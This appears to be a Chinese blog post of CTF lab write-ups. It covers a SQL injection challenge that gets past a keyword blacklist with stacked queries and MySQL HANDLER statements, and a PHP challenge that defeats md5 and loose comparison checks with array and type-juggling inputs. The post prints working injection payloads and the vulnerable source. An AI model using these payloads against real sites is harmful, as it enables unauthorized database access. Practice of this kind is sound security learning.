2021-03-31,[GYCTF2020]Blacklist,[MRCTF2020]Ez_bypass

[GYCTF2020]Blacklist

SQL害的多练练

黑名单:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);

1 => 正常
1’ => 正常
1’ or 1# => 正常
1’ and 0# => 不回应

猜字符型注入

1’ order by 3 #

开始报错,字段数为2

那么接下来怎么办?他把SELECT屏蔽了啊
怎么办怎么办怎么办?

SQL注入之堆叠注入
堆叠注入,就是将语句堆叠在一起进行查询

1’;show tables#

array(1) {
  [0]=>
  string(8) "FlagHere"
}

array(1) {
  [0]=>
  string(5) "words"
}

看得见,怎么读?
用handler

1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

[MRCTF2020]Ez_bypass

在这里插入图片描述

道理我都懂,可这字为什么这么大

GET两个参数,要md5相等
POST一个参数,和1234567弱相等
md5绕过,先来个数组

http://b811952b-3688-4e7a-8477-0fd758fa25b2.node3.buuoj.cn/
?gg[]=1&id[]=1

警告了它只要字符,和一个路径

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You are not a real hacker!

哦不好意思,忘在post里传参数了

这是第二次的
在这里插入图片描述
应该是 if($passwd==1234567)这里出了问题

试一下passwd=1234567a
在弱比较的时候,把前面当成数字

成了!

顺便提一下,才发现F12可以看格式化好的代码
呜呜呜

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值